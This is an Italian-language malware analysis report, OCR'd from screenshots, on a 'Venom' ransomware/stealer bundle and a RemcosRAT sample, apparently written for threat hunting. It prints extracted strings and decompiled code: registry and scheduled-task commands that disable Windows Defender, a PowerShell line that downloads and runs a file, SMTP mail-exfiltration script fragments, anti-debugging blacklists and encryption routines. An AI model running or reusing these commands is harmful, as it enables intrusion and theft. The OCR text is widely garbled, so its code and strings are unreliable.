CALL :PowerShell

powershell

[c start computerdefaults.exe

wireshark
/C choice /CY/N/DY /T3 & Del"

cmd.exe

che

chep
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A seqguire i comandi di reg delete e reg add per la gestione di diverse chiavi di registro
(operazioni di aggiunta ed eliminazione) e per effettuare evasion da Windows Defender con
diversi comandi di registry management (come, ad esempio, reg delete
“HKLM\Software\Policies\Microsoft\Windows Defender” /f e schtasks /Change /TN
“Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan” /Disable).

value (8821)
START ™ "
DEL"

explorer.exe
WINDIR
Process is already running, terminating process in {0} secends, you may cancel by closing..

ctfmen
Contrel
Install.exe
ngrok

ngrok.exe
reg delete "HKLM Software)\ Policiest Microsof

Windows Defender” /f
v "DisableAntiVirus" /t REG DWORD /d "1" /f

reg add "HKLM\ Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableBehaviorMonitoring” /t ..

reg add "HKLM\ Software\Palicies\Microsoff ndows Defender

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableOnAccessProtection” /t ...

reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableScanOnRealtimeEnable”...

reg add "HELM\Software\Policies\Microsoft\Windows Defender,SpyNet" /v "DisableBlockAtFirstSeen” /t REG DWORD /d "...
reg add "HKLM' Software\Policies\ Microsoft\Windows Defender\SpyMet" /v "SubmitSamplesConsent" /t REG DWORD /d "...
v "Start” /t REG DWORD /d "...
Nindows Defender\Windows Defender Cache Maintenance” /Disable

reg add "HELM\Systern\ CurrentControlSet\ Contro WMV Autologger\DefenderfuditLogger”
schtasks /Change /TN "Microsoft\Window:
schtasks /Change /TN "Microsoft\Windo
reg delete "HKLM'\ Software Microsofth

ndows Defender\Windows Defender Scheduled Scan” /Disable

ndows' CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth” /f
reg add "HKLMY \WdBoot" /v "Start” /t REG DWORD /d "4" /f

reg add "HEKLMY VdMisDrv" /v "Start” /t REG DWORD /d "4" /f

reg add "HKLM\ Systerm CurrentControlSethServices\WinDefend" /A "Start” /t REG DWORD /d "4" /f

explorer

start. exe

ystem\CurrentControlSet\Servic

ystem\CurrentControlSet\Servicesh

net.exe
svchost.exe
Chrome.exe

shutdown
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A seguire le evidenze associate alla gestione di malicious persistence (ad esempio
\Microsoft\Windows\CurrentVersion\Run), queries di hardware information (come ad esempio
Win32_OperatingSystem, Win32_VideoController e Win32_BIOS). Vi sono, inoltre, dettagli
afferenti alle abilita del threat di credentials stealing e keylogging (mediante ['hook
WH_KEYBOARD_LL).

value (8821)

SOFTWARE\Microsoft\Windows CurrentVersiontRunOnece
SOFTWAREWowf432Node\Microsoft\Wind ows CurrentVersion Run
SOFTWAREWowe432Mede\Microsoft\Wind ows' CurrentVersion\RunOnce
SELECT Caption FROM Win32 OperatingSystem

SELECT * FROM Win32 VideoController

SELECT * FROM Win32 BIOS

SELECT * FROM Win32 BaseBoard

SELECT * FROM Win32 Processor

Select * From Win32 ComputerSystem

SELECT * FROM Win32 DisplayConfiguration

SELECT CommandLine FROM Win32 Process WHERE Processid =
password

PASSWORD

LOGIM

password

userMame

Username
nothing
Username

WH KEYEQARD
WH KEYEOARD LL
Enter

Left

Right

Left

Shift

CorExebdain

CorExeMain

CorExelain
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Qui i dettagli di script deployment di malicious e-mail sending mediante protocollo SMTP,
malicious dropping e delivery mediante processo PowerShell. Si noti il cmmdlet downloadFile e
gli attributi in input downloadUrl, deadlink ed exefFile:

value (B821)

CorExeMain

CorExeMain

CorExeMain

CorExeMain

using System.O\rvnusing Microsoft.VisualBasic\r\nusing Systemn.Reflection;\r\nusing System.Threading;\r\nusing System..
CD /D %PowerShellDir3

ECHO S5MTPMessage = Mew-0bject Systemn.Met.Mail.MailMessage(SEmailFrom, SEmailTo. $Subject. SBody] »» %PSScript?
ECHO SS5MTPClient = Mew-0Object Met.Mail.SmtpClient($5mtpServer, 387) > > PSScript

ECHO SSMTPClient.EnableSs| = Strue = = 3EPSS5cript?h

ExecutionPolicy Bypass -WindowStyle Hidden -inputformat none -outputformat none -Monlinteractive -Command Add-M...
[k start /b del /g/f/s JeTEMP I\ &L exit

@echo off\r\nchcp 63001\ necho DONT CLOSE THIS WINDOWMNAnSTMP:~ -1, 1%%0%~ 1, -8%n%ProGramfllLe..

[version]\r\n5Signature=SchicagoS\rinAdvanced NF=2.5\r\n\r\n[Defaultinstall[\r\nCustomDestination= CustinstDest5Section.
powershell (new-object Systern.Met.WebClient).DownloadFile('deadlink','%exeFile3:):

2texeFile? authtoken

or noy

StexeFile %protoct "directory]1%" = 9

YelogFiledt

e

StexeFile tcp 5900 = SSlogFile®s

SeexeFileS tcp 3389 = HlogFile®

W

powershell (new-object System.MNet. WebClient). DownloadFile('%download URL %", SexeFile %)

StexeFile? tcp 587 > %logFile?t

StexeFileSs tep 21 » %logFilets
*s0

ClU.exe

Dt CreateVenomUserobj\Releaze\ Create.pdb

mscoree.dll

Dt CreatelVenomUsertUac-Executoriob) Release’ CU.pdb

mscoree.dll

Decryptor.exe
2k

D:\Ransomware-Builder-v).2d-mastert Decryptor Decryptoriob\DebugDecryptor.pdb

mscoree.dll
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Di seguito alcuni riferimenti alle credenziali dumpate dallo stealer DarkEye e scripts RDP, VNC,
script Autorun.inf, il fake Chrome process, il processo di aggiunta utenti e numerosi ulteriori
scripts ed eseguibili malevoli “droppati”, nello specifico, ad esempio, My Pictures.exe e

Venomclip.exe:

value (B821)
Venom-winvne.exe
Venom-ngrok.exe
enableff.exe
Adduser.exe
Venomadd.exe
Venomdpr.exe
autoupdatel.exe
autoupdatel.exe

VenomDWelbasiD.exe

allow.exe
email.bat
\hrdpinst.exe

bat

readme.tet
YWMAT.exe

C\My Pictures.exe
D:\My Pictures.exe
E\My Pictures.exe

E\My Pictures.exe

G:\My Pictures.exe

Hi\My Pictures.exe
"

E Pictures.exe
J\My Pictures.exe

KAMy Pictures.exe

LMy Pictures.exe

MMy Pictures.exe

chwindows\systern32hcmstp.exe

internetexplorer.application

‘Junction.vbs
\Execution.vbs
“Execution3.vbs
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winvnc.exe

Venom'DarkEye\DarkEye Passwords.zip
ngrok.zip

*zip

proclog.td

grok.bat

I DarkEye Passwords.html
mineworm.bat

MiNEWorm.exe
minewormworkout.exe
r77-x64.dll

ri7-x86.dll
Wenom-ngrok.exe
wnc.bat

rdp.bat
df?.exe

Venomclip.exe
enableff.exe

autorun.inf

open=start.exe
USEr.ExXe

fixdtp.bat
confuse.exe

Lexe

Tvmp.exe
Venom.vmp.exe
Chwindows\system3\schtacks.exe
send.psi

blat.exe

Chrome Update.exe
adduser.exe
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Qui notiamo le impostazioni per lo script di mail sending, nel dettaglio le istruzioni SET
GmailAccount, SET GmailPassword e SET Attachment:

value (8821) 1

Venombin.exe

[This program cannot be run in DOS mode.

This program cannot be run in D05 mode.

This program cannot be run in DOS mode.

[This program cannot be run in DOS mode.

This program cannot be run in DOS mode.

This program cannot be run in DOS mode.

SET GmailAccount=
SET GmailPassword=

LLAESEIudYOFVEsWZ OplBKSzWikgpVsZ/R+ OQipoww2EBTSTErQ2TIUX cGgDHEpUrd 5141 DTg Fgf 1 XUWR/Xg==
DuXGWVYlzvMygtluRLx] snUKJS0KvOx2 msgOEH OxfUShIYhiJB18lUhsrroKga+]gdR59is Yo kS CxbhaTVawMNEHATWmMaTOAIMEw. .
ndHa8+udThg7gMXL OpvsihXKemt/RL NzrHggul chelf/gV2TD5WellzPjipcKMW CL gx5XxatogWoMSpsghn+w==

qiimzY Pl UV Rr2 FKAA gLWPY plZf dW3wSNIZ go E AAXK SV Mude0TKCwWORgyR8d3800E 08 Szus| T/H2cWOIBuAy SATWW...
cet logFile=

set exeFile=

set directory=

set directoryl=

set protoc=

Ay 307 Uterluaip9oz,/ TqOPDGEHSTuyol@mnnd By T MIOIWTBEMNWH m uWRMCwd 72V + GREFtSH/PGhuEYUidFpAid CpAF oBX...
Ay N07LUterluaipdoz/ TgOPDGEHS Tuyol@mnrdG|Bx T MIOIXWTBENWH rm uWMCwd 72V + GREFtSH/PGhyEYUidFplidCpAZ oBX...
lconFile=

BSIE

h
H

H |I| |
o H
-

=]

=

n

#5trings
2US

I
&
[y

A sequire i dettagli dell'assembly sottoposto ad analisi:
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property value

md3 S45ED1BE0TTI8A4BARFTIASOTAIFIACT

shal JFAEGGOMEGE198116FEETES450D15A54DACEDACE
sha256 530FBDDEAAET011253647R1 6OBFS198CSFRI1DFDC] 992 S04EFS830ATAGADTSE0
file-type executable

date

language neutral

code-page Unicode UTF-18, little endian

Comments

CompanyMame

FileDescription VenomBin

FileVersion 2.8.0.1

InternalMame Venombin.exe

LegalCopyright Copyright @ 2021

LegalTrademarks

OriginalFilename Venombin.exe

PreductMame VenemBin

ProductVersion 2.8.0.1

Assermnbly Version 2.8.0.1

La classe love dispone di diversi metodi per effettuare evasion: nel dettaglio, anti-dumping,
anti-sandbox, anti-sniff (WireShark) e anti-analysis. Alcuni di tali metodi sono impostati
mediante valori booleani. Vi sono diversi tools di monitoraggio, network sniffing e debugging
hardcoded all'interno del codice sorgente per effettuare tasks di evasion ed anti-analysis (ad
esempio IDA, x64dbg, Ollydbg, EXEInfoPE). Tutti gli items in questione vengono aggiunti
nell’arraylist apposito AntiReverserTools.
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Warning: Some assembly references could not be resolved automatically. This might lead to
= for ex. property getter/setter access. To get optimal decompilation results, please manual

25 Show assembly load log

S venomC.love
+ using |...

public static class love

= {
public static void antilove()

- 1
AntiDump.Parse(typeof(love));
Process currentProcess = Process.GetCurrentProcess();
AntiSandBox.SelfDelete = false;
AntiSandBox.Showdlert = true;
AntiSandBox.Parse(currentProcess);
Antisniff.SelfDelete = false;
Antisniff.Showdlert = true;
AntiSniff.Parse(currentProcess);
AntiReverserTools.SelfDelete = false;
AntiReverserTools.Showdlert = true;
AntiReverserTools.Aggressive = false;
AntiReverserTools.IgnoreCase = true;
AntiReverserTools.KeepAlive = true;
AntiReverserTools.Whitelist.Add("notepad™);
AntiReverserTools.Blacklist.Add("dnspy™);
AntiReverserTools.Blacklist.Add("SoftICE™);
AntiReverserTools.Blacklist.Add("ILSpy");
AntiReverserTools.Blacklist.Add("dump”};
AntiReverserTools.Blacklist.Add("proxy™);
AntiReverserTools.Blacklist.Add( "deddotmodded™);
AntiReverserTools.Blacklist.Add("StringDecryptor™);
AntiReverserTools.Blacklist.Add("Centos™);
AntiReverserTools.Blacklist.Add("SAE");
AntiReverserTools.Blacklist.Add( "monitor™);
AntiReverserTools.Blacklist.Add("brute™);
AntiReverserTools.Blacklist.Add("checker™);
AntiReverserTools.Blacklist.Add("zed");
AntiReverserTools.Blacklist.Add("sniffer”):
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ANLLRCVEDNSCN UL . DLWORL L LAUUL DU LLWD )y
AntiReverserTools.Blacklist. Add{"ILSpy™);
AntiReverserTools.Blacklist. Add({"dump™);
AntiReverserTools.Blacklist.Add("proxy™);
AntiReverserTools.Blacklist.Add("deddotmodded™ ) ;
aAntiReverserTools.Blacklist.Add("StringDecryptor™);
antiReverserTools.Blacklist.Add({"Centos™);
antiReverserTools.Blacklist.Add("SAE");
antiReverserTools.Blacklist.Add{ "monitor™);
antiReverserTools.Blacklist.Add{ "brute™);
antiReverserTools.Blacklist. Add("checker™);
AntiReverserTools.Blacklist.Add("zed");
AntiReverserTools.Blacklist.Add("sniffer™);
AntiReverserTools.Blacklist.Add("http™);
antiReverserTools.Blacklist.Add("debugger™);
antiReverserTools.Blacklist.Add(" james™);
antiReverserTools.Blacklist.Add("exeinfope™);
AntiReverserTools.Blacklist.Add({"codecracker™);
AntiReverserTools.Blacklist.Add("x32dbg");
AntiReverserTools.Blacklist.Add("x64dbg");
AntiReverserTools.Blacklist.Add("cllydbg");
AntiReverserTools.Blocklist. Add("ida -");
AntiReverserTools.Blacklist.Add("charles™);
antiReverserTools.Blacklist.Add({"dnspy™);
antiReverserTools.Blacklist.Add("simpleassembly™);
AntiReverserTools.Blacklist. Add({"peek™);
antiReverserTools.Blacklist.Add("httpanalyzer");
AntiReverserTools.Blacklist.Add("httpdebug”);
AntiReverserTools.Blacklist.Add("fiddler");
AntiReverserTools.Blacklist.Add("wireshark");
AntiReverserTools.Blacklist.Add("dbx");
antiReverserTools.Blacklist.Add("mdbg™);
antiReverserTools.Blacklist.Add("gdb™);
AntiReverserTools.Blacklist.Add( "windbg");
antiReverserTools.Blacklist.Add("dbgclr");
AntiReverserTools.Blacklist.Add("kdb™);
AntiReverserTools.Blacklist.Add("kgdb");
AntiReverserTools.Blacklist.Add("mdb™);
AntiReverserTools.Start(currentProcess);
antiDebugger.SelfDelete = false;
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Viene controllata la corretta connettivita mediante una HTTP Web Request verso il dominio
google.com, nel caso in cui lo status code della richiesta HTTP sia diverso da OK viene mostrato
un errore di connettivita.

ANMLLIUEDUBEET . J3ELTUELELE = Talse,

AntiDebugger.showdlert = true;

AntiDebugger.Aggressive = false;

AntiDebugger.KeepAlive = true;

AntiDebugger.Start(currentProcess);

AntiDnspy.SelfDelete = false;

AntiDnspy.Showdlert = true;

AntiDnspy.Parse(currentProcess);

try

1
HttplWebRequest obj = (HttpWebRequest)WebRequest.Create( https://google.com”);
obj.ContinueTimeout = 10868;
obj.ReadWriteTimeout = 1l@e8e;
obj.Timeout = 18080;
obj.KeepAlive = true;
obj.UserAgent = "Mozilla/5.@ (Windows NT 6.1; WOWG4) ApplellebKit/S37.36 (KHTML, Like
obj.Accept = "¥/*";
obj.Method = "GET";
obj.Headers.Add("Accept-Language”, "en-Us,en;q=0.9,Ta;q=0.8");
obj.Headers.Add("Accept-Encoding”, “"gzip, deflate”);
obj.AutomaticDecompression = DecompressionMethods.GZip;
obj.serverCertificateValidationCallback = AntisSniff.validationCallback;
obj.ServicePoint.Expectl®@Continue = false;
using HttpllebResponse httpWebResponse = obj.GetResponse() as HttpllebResponse;
if (httpWebResponse.StatusCode != HttpStatusCode.OK)

{
Alert.Show("NETWORK CONMNECTION ERROR, CHECK YOUR INTERMET CONMECTION OR CLOSE S
Environment.Exit(@);
return;
}
b
catch
1

Alert.Show("NETWORK CONNECTION ERROR, CHECK YOUR INTERMET COMMECTION OR CLOSE SNIFFE
Environment.Exit(@);
return;

Alert.NotepadStyle = false;
Alert.AuteClose = false;
Alert.AutoCloseTime = 1;

1
Alert.Notepadstyle = false;
Alert.AutoClose = false;
Alert.AutoCloseTime = 1;
Alert.NotepadPath = "readme.txt";
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La classe EncryptionFunctions contiene metodi di operazioni XOR, compressione. La classe AES
fa uso di oggetti MemoryStream e AesCryptoServiceProvider con il fine di cifrare i flussi di dati
dei files presi in input.

public sealed class EncryptionFunctions

H{
public static byte[] XORBytes(byte[] bufferl, string buffer2)
= 1
int num = bufferl.Length - 1;
for (int i = 8; i <= num; i++)
1
int index = i ¥ buffer2.lLength;
bufferl[i] = (byte)(bufferl[i] ~ buffer2[index]);
return bufferl;
h
public static byte[] Zip(byte[] raw)
- 1
using MemoryStream memoryStream = new MemoryStream();
using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Compress, l¢
gZipstream.Write(raw, @, raw.Length);
return memoryStream. ToArray();
h
public static object UnZip(byte[] BytesIn)
- 1

using GZipStream gZipStream = new GZipStream(new MemoryStream(BytesIn), CompressionMode
byte[] buffer = new byte[4896];
using MemoryStream memoryStream = new MemoryStream();
int num;
do
{
num = gZipStream.Read(buffer, @, 4896);
if (num > @)

{
}

while (num > @);
return memorvStream.ToArrav(}:

memoryStream.Write(buffer, @, num);
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return Enceding.UTF8.GetString(Decrypt(Convert.FromBase64string(input)));

¥

public static byte[] Decrypt(byte[] input)
- 1
if (_defaultkey == null || _defaultkey.Length == B8)

throw new Exception("Key can not be empty.”);

if (input == null || input.Length == 8)
{

throw new ArgumentException("Input can not be empty.");

}

byte[] array = new byte[@];

try

{
using MemoryStream memoryStream = new MemoryStream(input);
using AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvic
aesCryptoServiceProvider.KeySize = 128;
aesCryptoServiceProvider.BlockSize = 128;
aesCryptoServiceProvider.Mode = CipherMode.CBC;
aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
aesCryptoServiceProvider.Key = _defaultkey;
using (HMACSHA256 hMACSHA = new HMACSHA256(_defaultAuthKey))

byte[] a = hMACSHA.ComputeHash(memoryStream. ToArray(), 32, memoryStream.ToArray(
byte[] array2 = new byte[32];
memoryStream. Read(array2, @, array2.length);
if (!CryptographyHelper.AreEqual(a, array2))
1
return array;
}
h
byte[] array3 = new byte[16];
memoryStream.Read(array3, @, 16);
aesCryptoServiceProvider.IV = array3;
using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServicePrc
byte[] array4 = new byte[memoryStream.Length - 16 + 1];
array = new byte[cryptoStream.Read(array4, @, array4.length)];

La classe statica Settings contiene gli attributi hardcoded principali per I'infection chain, come
ad esempio keys, chiave di cifratura per il modulo ransomware, authkeys, special folders (come
AppData), mutex, startup attributes, antikill (attributo booleano per la fase di evasion e self-
protection), attributi booleani per evasion con una particolare attenzione per Windows
Defender.
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+using |...
public static class Settings

H{
public static string VERSION = "9yiVPw+BFG1039na@B77Mc638dX/mBYUhgCiU6aPgvPBxKEkeSDQyeyWSSxBF IkihAISRro3BpE/HG5cCe0bA=="";

public static string HOSTS = "/rK2CTTCQ7Eoialllix4/i55ytbskYmPa6wsqs/g0D9sqxlla3@RnberfIEnquwbuSmSL/VrAESBXNWMITL2+34U6TGHW3eqhLdqd

public static int RECONNECTDELAY = 3880;

public static string KEY = "WOtrgpk9s@tBaHYSwCncig==";

public static string AUTHKEY = "3NSukrMlumntSCeQfe?5jwutvrglwZ7RLiyzE7IUxjs1bad4x2@pPVi05raGfglwalas+FaZoN02tAMYGOYaZA:

public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);

public static string SUBDIRECTORY = "LLAESELudY9FVEsHZQpLBKSzZWikqpVsZ/R+00ipown2EB757ErQ2TIUXCGADHEPUrdS1AXHIDTE7 5T 1IXUKR /Xg=

public static string INSTALLNAME = "+QgFlUtmhXLeZe3KWvrzhkZ]GixBo+FAEBNIa@roWVgMNuSVeNTbmsPpvby2pIny1dsmIwy3mSSVI3WVIPZPEA=

public static bool INSTALL = false;

public static bool ANTIKTLL = false;

public static bool USB = false;

public static string MUTEX = "DuXGVYIzwMyqtIuRLx1snUKI9QXvOx2msgQEHQxfUShIYhXIB181UhsrroKga+lg4RS91sYqIkSCxd v TVZwNEHASWMa TBATMEWE!
public static bool STARTUP = false;

public static string STARTUPKEY = "matdTORx+H7AMX1AJq2RkIZI1IUBjqtiHSCM2ICoH2U/ 2 tEBrrhpQnymYGPUYEPMOa1n40yQZoeBlFQbU+YmIsdBhXe7 /-

public static bool HIDEFILE = false;
public static bool ENABLELOGGER = false;

public static string ENCRYPTIONKEY = "n9XcQNPTXfqRIltutedT";

public static string TAG = "ndHad+uSTbg7qMXLQp2vslhXKcmtIRLNz zHqguLohelf/ qu2TDSWBeUzP jipcKMWCLEXSXxatoghoMspsghnt=

public static string LOGDIRECTORYNAME = "7FW9zn46leGgkOaaFUu76k8FWNg3Xmo/4Yt4DRphv2s15AWESqeBeBYUAEDLZLuygTsPmpUEFY3APKLdWUYBSw:

public static bool HIDELOGDIRECTORY = false;

public static bool HIDEINSTALLSUBDIRECTORY = false;

public static string NGROK = "lWgbGowrsSISufUZYhAWWSrVIzx 44M7WQft2dY9zFX7WR1o";
public static bool WD = false;

public static bool Initialize()

private static void FixDirectory()

Qui un riferimento al file di readme droppato dopo aver cifrato i files della macchina
compromessa:

esktop/Venom.exe
WenomCcleaner.Ink
WenomFox.Ink
WenomChrome.nk

Wenormlnstall.exe

Decryptor.exe

winvnc.exe
Wenom'\DarkEye\DarkEye Passwords.zip
ngrok.zip
o

Zi
proclog.bd

grok.bat
DarkEye Passwords.html

mineworm.bat
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RemcosRAT

[l Sample di RemcosRAT sottoposto a disamina e stato sviluppato in C++, risulta essere in uno
stato di packed con un coefficiente d'entropia che si attesta a circa 6.59959:

D& Detect It Easy v3.04 [Windows 10 Version 1308](x86_64) — O 4
File name
C:/Users IEUser Desktop/MALWARE/RemcosRAT L.exe

File type Entry point
PE32 004349ef

Time date stamp
2023-11-26 01:39
Endianness Mode Architecture
Automatic LE 32-bit 1386
>~ PE32
Compiler: EP:Microsoft Visual C/C++({2013-2017)[EXE32]

Compiler: Microsoft Visual C/C++(2015 v.14.0)[-]
Linker: Microsoft Linker(14.0, Visual Studio 2015 14.0%)[GUI32]

n [ Al

261 msec

Offset

00000000

File name: C:/Users/IEUser/Desktop/MALWARE/RemcosRATL.exe

Size: 494592 (483.00 KkB)

MD5: €a4ebT78c41183f12a1d2026903fadakb?

SHAl: deéfT7falCB82a3a236a6fd5080b40f%acb0aZ3s8743

Entropy: &.5995% (packed)

Cperation system: Windows (XP)

Architecture: I386

Mode: 32-bit

Type: GUI

Endianess: LE

Entry point (Address): 00434%ef

Entry point (Cffset): 00033def

Entry point (Relative address): 000349ef

Entry point (Bytes): £877040000e9%8efeffff558becilec2403000053566al1Te8ef26020085¢c0
Entry point (Signature): eg......
Entry point (Signature) (Rel): ef

=3
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All'interno della sezione .data vi troviamo riferimenti allo standard di librerie C++ Dinkumware,
spesso utilizzato da artefatti malevoli:

D& Memory map - O X

Address Size
00000000 00400000  0D0DD0D400 E
00061000
feffffee 00400400  0DDODDOD E
00471000 00000400 00401000 00057200
00071000 FFFFFFEF 00458200 0000000
00057600 00459000  00017al0

00470200 00000600

Header
Heade

Architecture
LE

0047100 00005200
0006fe00 00477000 00000200
luniiid 00477200  00000eD0

ANNTANNN nnATonNNN AnnNNARD

opyrigh

by P.J. P1

anger, licensed

by Dinkumware, L

td. ALL RIGHTS R
ESERVED

Tra gli imports effettuati dal threat vi sono riferimenti a metodi di connettivita, apertura di
URLs e lettura di files mediante protocollo HTTP:

o e - o x

Info Hash 64

i 0000009f324d6995 325ebcBa
Disasm

Ha;h irstThi meDateStan wrwarderCha  Name Thunk Hash
Strings us [V TV Y] [V TV wuuUsUD VY3 IC SUV1BTS | SMELL3Z.Qll

:19_"3“”55 B8 00ODODOD  0ODDDODD  DOO70344  000504eD  befiSh304  ole32.dll
emory map

Entropy Tc 00000DOD  0ODOODDO  00DO7037e  0DD39370  04612bbd  SHLWAPLAII
Heuristic scan it} 00000DDD  DOODDODD  DDO70434  DDD59444 lea2dads ~ WINMM.dII

G Qs
- :mﬁé E"E:.? bl:EAE?}[E}FEE 1c 00000000  000DOOO0  0007043e 00059470  09%al3Zed  WS2 32.dIl

IMAGE_FILE HEADER 9c  0000OOOO  0OODODOD  D0O7047a  ODDS94f0  03bcdf2d  wrmon.dil
= IMAGE_OPTIONAL_HEADER 54  00DOODOD  0ODDOODO  0DO7053c  0OD594b8  845d6clc  gdiplus.dil
IMAGE_DIRECTORY_ENTRIES d23e89a  WININET.I
RICH Signature = : M -
Sections
L T flame
Resources o [ooorosas | [0099 [internetOpenUrtw

gf';‘f; 1 0D07055¢ 0092 InternetOpenW

el

TLS 2 0007056c 006b  InternetCloseHandle
3

Load config 00070582 009  InternetReadFile
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Viene importato il metodo URLDownloadToFileW al fine di scaricare files da hosts remoti:
o P - ul X

Info Hash 64

it 0000009f324d6995 325ehcBa
Disasm

#EEE rstThi neDateStan rwarderCha Name  FirstThunk  Hash

Strings us LT Ty VUUUUUDU BUUIUSUD UUUDYSIC EITAT &1 SHELLSZQN
Signatures 8 000DODOD  0ODODDODD  OOOT0344  000594eD  be65b304  ole32.dll
Memory map

Entropy 00000000  000DDDO0  DOD7D37e 00059370 04612bb4  SHLWAPLGII

Heuristic scan 00000000 00DOODOOD  0DO70434  0ODD5O444 lea2dads  WINMM.dII

IMAGE_DOS_HEADER e o e -
-~ IMAGENT FEADERS 00000000  0DODOOOD 0007043 00053470  09a132ed  WS2_32.dil
TR I VT % 0 0 0 0 0%bcds2d  urmon.dil
~ IMAGE OPTIONAL HEADER 84  00000DD0  0DODOOOO  0OO7053c  000594b8  845d6clc  gdiplus.dil
Ve RIS ENTE 00000000  ODODOODD  QOO70506 00059430  d23eB%ba  WININET.dIl

RICH Signature
Sections

Thunk __Ordinal __Hint _—
Resources _ 00070460 _ URLOpenBlockingStreamW

Relocs 1 00070442 0068 URLDownloadToFileW
Debug

TLS

Load config

A seguire metodi di cifratura mediante encryption contexts, ottenimento di attributi di servizi,
ottenimento dell'utenza loggata e chiavi di registro specifiche:

8 Pe - o %

Info
Hex
Disasm

SHt:;hgs irstThi meDateStan rwarderCha  Name FirstThunk Hash

St 00000000  0DDDOO00  ODDGFcB)  000390b4  agbalabc  KERNEL3Z.dl
Memory map 00000000 DODDODDD  ODDGHOS 00039380  e32e1780  USER32.dII

=iy 00000000  0DOODDOD  00O7003c 00050088 GDI32.dII
Heuristic scan
IMAGE_DOS_HEADER 0 000702b2 3db84  ADVAPI32.dIl
~ IMAGE_NT_HEADERS 00000000  00ODODDO 00070306  0005935c 30718731  SHELL3Z.dIl
A Ea_f;‘é%gmfﬁmm Bc  0000000D  DOODDOOD  ODO70344  000594eD  bebSh3pd  ole32.dll
IMAGE_DIRECTORY ENTRIES 00000000  0ODDOODO  ODO7037e 00059370  (4612bbd  SHLWAPLAII

RICH Signature o NNNNNNNN NNNNNNNN NNNT7NA24 NNN5aa4a 1eaddads WINBKARA All
Sections

Thunk __ Ordinal Nome x
Resources _ 0007029 _ CryptAcquireContextA
L

Relocs

00070288 00c1  CryptGenRandom
00070272 00ch  CryptReleaseContext
00070262 0165 GetUserNameW
00070252 024e  RegEnumKeyExA
0007023¢ 0228 QueryServiceStatus
00070226 0057 CloseServiceHandle
019 OvenSCManagerWV

Load config

B & v o =

Il metodo GetClipboardData permette di ottenere il contenuto della clipboard, mentre il
metodo SetWindowsHookExA permette di creare oggetti di hooking per il monitoraggio di
eventi specifici, nel caso in questione viene effettuato un tracciamento dei keystrokes
all'interno del modulo di keylogging.
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Info

Hex 0000009f3a4d6995 325ebcBa
Disasm

I;:.Sh irstThi meDateStan wwarderCha  Name FirstThunk Hash
rings
Sign, : tures 60 00000000  0QOOODOOD  ODDGFCBD 000590b4  a%balabc  KERMEL32.dII

34

E""“.:é‘.’ 00000000  0DDODDOD  00O7003c 00059088  0eS5bb30  GDI32.dll
eunstic scan
IMAGE_DOS. HEADER 00000000  00DOODDO  0DO702b2 00059000  d373db84  ADVAPISZ.dII
~ IMAGE_NT_HEADERS g 00000000  000DDOOD 00070306  0ODS935c  30718f31  SHELL32.dIl
:m:f E’glﬁ%gﬂﬁmmﬂ ; 00000000 0ODDODOD  ODO70344 0005940 be65b304  olel2.dll
hd G
IMAGE DIRECTORY ENTRIES 00000000  00DOODD0  0DO7037e 00059370 04612bb4  SHLWAPLII
RICH Si gn ature o DNNDNNNN NNNNNNN NNNTNAA NNNSa444 1raldads WINRANA All
Sections
LT LI b T L

Resources J06fccd 01a3  GetWindowTextW
e W6fedt 0333 wsprintW
J06fce2 0116 GetClipboardData
Load cenfig J06fcfE 0300 UnhookWindowsHookEx
J06fd0c 012d  GetForegroundWindow
J06fd22 02f4  ToUnicodeEx
J06fd30 013e  GetKeyboardLayout

J06fd44 02ce SetWindowsHookExA
L —

Il modulo di monitoring Watchdog permette anche il riavvio di Remcos, come a seguire la
stringa individualizzante in un contesto di threat hunting: “Remcos restarted by watchdog!”

D Strings - O *

Filter

- I:‘ UTF8 I:‘ Unicode I:‘ C

Offset ~
0006%eef 00000083
D00ESFT4 00000082
000699 00000083
0006aaal 0000001d
0006aac 00000019
0006aaeh 00000000
0006ab00 0000000
0006ab18 00000000
0006ab30 0000000
0006abdc 0000000
0006abbd 00000017
0006ab7a 00000006
0006ab94 00000009
0006abald 00! \
0006abb8 00000009
0006abf3 0000000
1100 0006ac08 00000000
1101 0006ac24 00000005
1102 0006ac30 00000000
1103 0006ac3c 00000000
1104 0006acds 0000000
1105 0006ac58 00000007
1106 0006achd 00000007

String
1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAS1868T..,
C6B58E06B70404E9CDIEIECBE62395B4429C648139053FB521FA28AFE06BAD3DBAA14. .,
11839296A789A3BCO045CBA5FB42CTD1BD998F54449579B446817AFBD17273E662CO7...

-
<
-1
f

Remcos restarted by watchdog!
Watchdog module activated
Hisystemn32\

\SysWOWB\

svchost.exe

rmclient.exe

fsutil.exe

Watchdog launch failed!
lternp_

fstext "

CcCcrPcCccCccCccCcCcCPPPFPEDB

=

FoxMailRecovery
[regsplt]
SHDeleteKeyW
Shiwapi.dil
65535
getaddrinfo
getnameinfo
freeaddrinfo

\ws2_32

> > > P> P> >>r >

‘wshiob
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Vi e un riferimento alla chiave di registro di impostazione del default browser (per la gestione
delle richieste con protocollo HTTP) http\shell\open\command.

D Strings - O *

B Anst ~ [ urrs M unicode M CStrings 5 =

Offset o= Size String
0006afb8 00000007 stopped
0006afcl 00000002 stop audio
0006afcc 00000000 close audio
0006afd8 00000010 GetlLastinputinfo
0006afec 00000000 ProductMame
0D06affc 0000000 (64 bit)
0006b003 0000000 (32 bit)
0006b014 00000003 SETTINGS
0006b020 00000014 9602i: 2602i:902i: 2603i
0006b044 017 http\shell\open\command
00060074 0000000e program files\,
00060094 00000014 program files (x86)\
0006b0c0 00000012 abcdefghijklmnopgrstuvwyz
0006b0e0 00000033 Software\Microsoft\Windows\ CurrentVersion' Uninstall
0006b112 0000000 IDisplayMName
0006b12¢ 0000000 Publisher
00066140 0000000e DisplayVersion
0006k 160 00D0D00E InstallLocation
0006b180 0000000b InstallDate
0006b198 0D000D0F UninstallString
